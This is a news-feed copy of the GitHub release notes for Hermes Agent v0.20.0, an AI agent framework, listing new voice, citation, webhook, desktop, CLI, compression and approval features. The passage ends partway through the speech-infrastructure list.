<title><![CDATA[GitHub: Hermes Agent v0.20.0 (2026.8.3)]]></title>
<description><![CDATA[Hermes Agent v0.20.0 (v2026.8.3)
Release Date: August 3, 2026
Since v0.19.0: ~3,650 commits · ~1,400 merged PRs · ~5,200 files changed · ~559,000 insertions · ~405,000 deletions · ~1,200 issues closed · 650+ contributors

The Herald Release. Hermes is the herald of the gods, and this release make...]]></description>
<link>https://tsecurity.de/de/3701500/downloads/github-hermes-agent-v0200-202683/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3701500/downloads/github-hermes-agent-v0200-202683/</guid>
<pubDate>Mon, 03 Aug 2026 20:21:56 +0200</pubDate>
<content:encoded><![CDATA[<div class="github-feed-entry">Hermes Agent v0.20.0 (v2026.8.3)
<p><strong>Release Date:</strong> August 3, 2026<br>
<strong>Since v0.19.0:</strong> ~3,650 commits · ~1,400 merged PRs · ~5,200 files changed · ~559,000 insertions · ~405,000 deletions · <strong>~1,200 issues closed</strong> · 650+ contributors</p>

<p><strong>The Herald Release.</strong> Hermes is the herald of the gods, and this release makes him one in earnest: he <strong>speaks</strong> (real-time conversational voice with streaming TTS, barge-in, on-device wake words, and hands-free control across the CLI, desktop, and every audio-capable gateway platform), he <strong>carries word to other agents</strong> (A2A v1.0), he <strong>announces events to your systems</strong> (signed outbound webhooks), and he <strong>cites his sources</strong> (grounded research with verifiable citations and fact-checking). Around that spine: the desktop app became a platform (artifacts with live preview, a plugin SDK, quick-entry from anywhere, multiple windows), the CLI got a wave of power commands (<code>!</code> shell mode, <code>/init</code>, <code>/diff</code>, <code>/context</code>, <code>/focus</code>), compression got smarter and gentler, and the tools themselves now recover from their own failures instead of making the model guess. This release rolls up everything from the v0.19.1 infrastructure patch tag — that window is fully documented here.</p>


<h2>✨ Highlights</h2>
<ul>
<li>
<p><strong>Talk to Hermes — streaming, conversational voice with barge-in</strong> — Voice mode used to mean: speak, wait for the whole reply to generate, then listen to one long audio file. Now Hermes speaks clause-by-clause as the response streams, you can interrupt it mid-sentence by just talking (it stops, listens, and the model is told you cut in), and busy-aware silence detection means it doesn't talk over you. This works in CLI voice mode, on the desktop, and through gateway adapters. Talking to Hermes finally feels like a conversation, not a voicemail exchange. (<a href="https://github.com/NousResearch/hermes-agent/pull/69511" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/69511/hovercard">#69511</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/73862" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/73862/hovercard">#73862</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/74223" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/74223/hovercard">#74223</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/74000" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/74000/hovercard">#74000</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/69602" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/69602/hovercard">#69602</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</p>
</li>
<li>
<p><strong>Wake words and hands-free control</strong> — Say your own open-vocabulary wake phrase ("hey Hermes", or anything you pick) and Hermes starts listening — detection runs on-device, so no audio leaves your machine while it waits. Multi-profile voice routing means different wake words can reach different profiles, and saying "stop" ends the voice chat on every surface without touching the keyboard. Your terminal is now something you can talk to from across the room. (<a href="https://github.com/NousResearch/hermes-agent/pull/70509" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/70509/hovercard">#70509</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/73106" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/73106/hovercard">#73106</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/73933" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/73933/hovercard">#73933</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Voice on every platform</strong> — Send a voice note to Hermes on WhatsApp, Feishu, DingTalk, LINE, QQ, Photon, or Weixin and it's transcribed and answered; auto-TTS replies are delivered platform-aware (opus where platforms want opus, captions attached correctly). STT is now fully configurable — its own <code>hermes tools</code> category, GUI toggles, dashboard dropdowns, unified language resolution so transcripts stop coming back in the wrong language, and OpenAI's gpt-transcribe support. One unified spoken-text preprocessor cleans markdown, code, and URLs out of speech across all TTS providers. (<a href="https://github.com/NousResearch/hermes-agent/pull/73515" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/73515/hovercard">#73515</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/73508" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/73508/hovercard">#73508</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/73910" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/73910/hovercard">#73910</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/73513" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/73513/hovercard">#73513</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/73067" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/73067/hovercard">#73067</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Research you can trust — grounded citations with fact-checking</strong> — The new <code>grounded-citations</code> skill makes Hermes produce research where every claim is backed by a verifiable source: quotes are matched against the actual page text (not hallucinated), citations link to the exact evidence, and a fact-checking mode turns the same machinery on any document or claim you hand it — it tells you what checks out, what doesn't, and what couldn't be verified. If you use Hermes for research, this is the difference between "sounds right" and "provably sourced." (<a href="https://github.com/NousResearch/hermes-agent/pull/71698" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/71698/hovercard">#71698</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/77104" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/77104/hovercard">#77104</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Outbound webhooks — Hermes pushes events to your systems</strong> — Until now, integrating with Hermes meant polling or listening on a platform. Now Hermes pushes <strong>signed lifecycle events</strong> (session activity, turn completions, tool events) to any HTTP endpoint you register — with HMAC signatures so your receiver can verify authenticity. Wire Hermes into your CI, your home automation, your dashboards, or any service that speaks HTTP, with no polling loop. (<a href="https://github.com/NousResearch/hermes-agent/pull/69406" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/69406/hovercard">#69406</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>The desktop app becomes a platform — artifacts, plugin SDK, quick entry</strong> — Hermes desktop now renders <strong>artifacts</strong>: versioned cards with sandboxed live preview in a right-rail viewer, so generated HTML/apps run safely next to the chat. A real <strong>plugin SDK</strong> landed with Kanban as its founding plugin, <code>ctx.download</code> for handing users files, floating pane placement, and multiple GUI windows. A global-hotkey <strong>quick-entry window</strong> captures a thought into any session from anywhere in your OS. The desktop stopped being a chat client and started being a workbench. (<a href="https://github.com/NousResearch/hermes-agent/pull/72345" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/72345/hovercard">#72345</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61173" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61173/hovercard">#61173</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/74413" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/74413/hovercard">#74413</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/72315" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/72315/hovercard">#72315</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/68259" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/68259/hovercard">#68259</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/73143" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/73143/hovercard">#73143</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Hermes speaks Agent-to-Agent — A2A v1.0</strong> — A new bundled plugin implements the Agent-to-Agent protocol, so Hermes can discover, talk to, and be driven by other A2A-compatible agents. This closes issue <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4033216787" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/514" data-hovercard-type="issue" data-hovercard-url="/NousResearch/hermes-agent/issues/514/hovercard" href="https://github.com/NousResearch/hermes-agent/issues/514">#514</a> — one of the oldest open feature requests in the repo. If you're building multi-agent systems with heterogeneous stacks, Hermes now has a standard wire protocol for joining them. (<a href="https://github.com/NousResearch/hermes-agent/pull/77109" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/77109/hovercard">#77109</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>CLI power-user wave</strong> — <code>!command</code> runs a shell command instantly without spending a model turn. <code>/init</code> scans your project and generates (or updates) an <code>AGENTS.md</code>. <code>/diff</code> shows staged/all/session changes from any surface, <code>/context</code> breaks down exactly what's filling your context window, <code>/focus</code> gives you a reduced-output view with hidden-line recovery, and Ctrl+S stashes a half-written prompt into a browsable panel. Plus <code>hermes import-agent</code> migrates your Claude Code or Codex CLI setup into Hermes in one command. (<a href="https://github.com/NousResearch/hermes-agent/pull/72257" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/72257/hovercard">#72257</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/72178" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/72178/hovercard">#72178</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/72240" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/72240/hovercard">#72240</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/72242" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/72242/hovercard">#72242</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/72302" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/72302/hovercard">#72302</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/72262" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/72262/hovercard">#72262</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/72190" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/72190/hovercard">#72190</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, several salvaging long-standing community PRs)</p>
</li>
<li>
<p><strong>Correct the agent mid-turn — redirects</strong> — If Hermes is heading the wrong way, you no longer have to <code>/stop</code> and re-explain. Type a correction while it works and the active turn is redirected: work in flight is preserved, the original prompt is kept, and the agent course-corrects with your new guidance. Paired with double-ESC draft discard and a composer undo stack, steering feels like editing, not restarting. (<a href="https://github.com/NousResearch/hermes-agent/pull/63104" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63104/hovercard">#63104</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/72339" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/72339/hovercard">#72339</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/74736" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/74736/hovercard">#74736</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</p>
</li>
<li>
<p><strong>Tools that fix themselves</strong> — A sweep of self-recovery upgrades means the agent wastes far fewer turns on tool friction: truncated terminal output spills to a file the agent can read back, <code>patch</code> detects already-applied edits and diagnoses whitespace mismatches, <code>write_file</code> verifies content on disk, searches that match nothing probe for near-misses and recover, and common failure classes come back with actionable hints. The default tool-calling iteration limit also jumped 90 → 500 — long autonomous runs stopped hitting an artificial wall. (<a href="https://github.com/NousResearch/hermes-agent/pull/77041" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/77041/hovercard">#77041</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/76998" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/76998/hovercard">#76998</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/77024" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/77024/hovercard">#77024</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/77055" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/77055/hovercard">#77055</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/77011" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/77011/hovercard">#77011</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/76992" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/76992/hovercard">#76992</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/72176" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/72176/hovercard">#72176</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Compression that respects your conversation</strong> — Context compression got a deep overhaul: proactive tool-result pruning for large-window models, per-turn micro-compaction that amortizes the cost instead of one giant pause, a guaranteed N-user-message tail so recent conversation always survives, progress-aware timeouts that stop punishing slow summary models, and ghost-skill defense so a pruned skill can never silently haunt a session. Thresholds are now configurable per-model and in absolute tokens. Long sessions stay coherent and stop stalling. (<a href="https://github.com/NousResearch/hermes-agent/pull/70254" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/70254/hovercard">#70254</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/75345" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/75345/hovercard">#75345</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/70250" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/70250/hovercard">#70250</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/71508" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/71508/hovercard">#71508</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/70275" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/70275/hovercard">#70275</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, salvaging multiple community PRs)</p>
</li>
<li>
<p><strong>Smart approvals grow up</strong> — <code>hermes approvals suggest</code> mines your approval history into allowlist proposals, operators can customize the smart-approval policy, a consecutive-denial circuit breaker stops a misbehaving loop cold, and desktop pairing approvals are profile-correct with a proper surface to answer them from. Plus a new approval gate for docker/podman daemon-redirect commands. Less clicking "approve", without giving an inch of control. (<a href="https://github.com/NousResearch/hermes-agent/pull/72259" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/72259/hovercard">#72259</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/72186" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/72186/hovercard">#72186</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/72203" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/72203/hovercard">#72203</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/74446" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/74446/hovercard">#74446</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/71092" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/71092/hovercard">#71092</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</p>
</li>
<li>
<p><strong>Faster everywhere, again</strong> — Prompt caching now covers tool schemas on native Anthropic without history loss. <code>hermes -w</code> cold start dropped ~14s → ~1.8s, <code>hermes update</code> no-ops got 2–6s faster, heavy SDKs lazy-load off the import path, config reads stopped deep-copying (54× faster on the telemetry gate), and the desktop shipped a second 60fps wave — streaming cost independent of transcript length, drag at 60fps with five streaming tabs, idle CPU near zero in the background. (<a href="https://github.com/NousResearch/hermes-agent/pull/76032" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/76032/hovercard">#76032</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/71637" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/71637/hovercard">#71637</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/74218" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/74218/hovercard">#74218</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/74204" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/74204/hovercard">#74204</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/71835" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/71835/hovercard">#71835</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/72346" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/72346/hovercard">#72346</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/75218" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/75218/hovercard">#75218</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</p>
</li>
<li>
<p><strong>New places to run and be reached</strong> — Buzz lands as a bundled gateway platform (Block's Nostr-based messenger, with native WebSocket transport and NIP-42 auth), the Vercel AI Gateway provider and Vercel Sandbox terminal backend return modernized, desktop gains an SSH remote-backend connection mode, and the Relay shipped four phases of parity — media, interactive prompts, thread lifecycle, typing indicators — plus HSP personal + org skill sync. (<a href="https://github.com/NousResearch/hermes-agent/pull/73610" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/73610/hovercard">#73610</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/73761" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/73761/hovercard">#73761</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/74518" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/74518/hovercard">#74518</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/68130" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/68130/hovercard">#68130</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/71300" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/71300/hovercard">#71300</a>–<a href="https://github.com/NousResearch/hermes-agent/pull/71624" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/71624/hovercard">#71624</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66730" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66730/hovercard">#66730</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yoniebans/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yoniebans">@yoniebans</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</p>
</li>
</ul>

<h2>🎙️ Voice &amp; Speech</h2>
<h3>Conversational voice</h3>
<ul>
<li>Streaming, conversational TTS with barge-in across all surfaces; clause-by-clause synthesis for CLI voice mode + gateway adapters (<a href="https://github.com/NousResearch/hermes-agent/pull/69511" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/69511/hovercard">#69511</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/73862" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/73862/hovercard">#73862</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Voice chat UX polish — busy-aware silence, stop hint, thinking sounds, barge-in fix; full-duplex turn listener (interrupt by voice during generation AND playback) (<a href="https://github.com/NousResearch/hermes-agent/pull/74000" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/74000/hovercard">#74000</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/74223" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/74223/hovercard">#74223</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>On-device wake words with open-vocabulary phrases + multi-profile voice routing; say "stop" to end voice chat hands-free on every surface (<a href="https://github.com/NousResearch/hermes-agent/pull/70509" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/70509/hovercard">#70509</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/73106" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/73106/hovercard">#73106</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/73933" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/73933/hovercard">#73933</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>The model is told when the user interrupts its spoken reply; desktop speaks the whole turn and idle-flushes held narration (<a href="https://github.com/NousResearch/hermes-agent/pull/69602" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/69602/hovercard">#69602</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/69936" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/69936/hovercard">#69936</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>15-item CLI/TUI voice-mode UX and environment fix wave (<a href="https://github.com/NousResearch/hermes-agent/pull/73520" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/73520/hovercard">#73520</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>TTS / STT infrastructure</h3>
<ul>
<li>Unified spoken-text preprocessing + speed/instructions/provider tool params; unified STT language resolution (fixes the wrong-language transcription class); global <code>stt.language</code> defaults to <code>en</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/73513" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/73513/hovercard">#73513</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/73067" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/73067/hovercard">#73067</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/73100" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/73100/hovercard">#73100</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Fully configurable STT — <code>hermes tools</code> category, GUI toggle/matrix, dashboard dropdowns, setup status; OpenAI gpt-transcribe support (<a href="https://github.com/NousResearch/hermes-agent/pull/73910" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/73910/hovercard">#73910</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/73853" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/73853/hovercard">#73853</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Platform-aware auto-TTS voice delivery (opus platforms, streamed/global gap, captions); inbound voice classification/routing for Feishu, DingTalk, LINE, QQ, Photon, WhatsApp, Weixin (<a href="https://github.com/NousResearch/hermes-agent/pull/73508" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/73508/hovercard">#73508</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/73515" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/73515/hovercard">#73515</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Command TTS/STT provider hardening — idle timeouts, env scrubbing, no-shell, path guards (<a href="https://github.com/NousResearch/hermes-agent/pull/73514" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/73514/hovercard">#73514</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Sync per-sentence TTS synthesis pipelined with playback — the next sentence renders while the current one speaks (<a href="https://github.com/NousResearch/hermes-agent/pull/77355" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/77355/hovercard">#77355</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
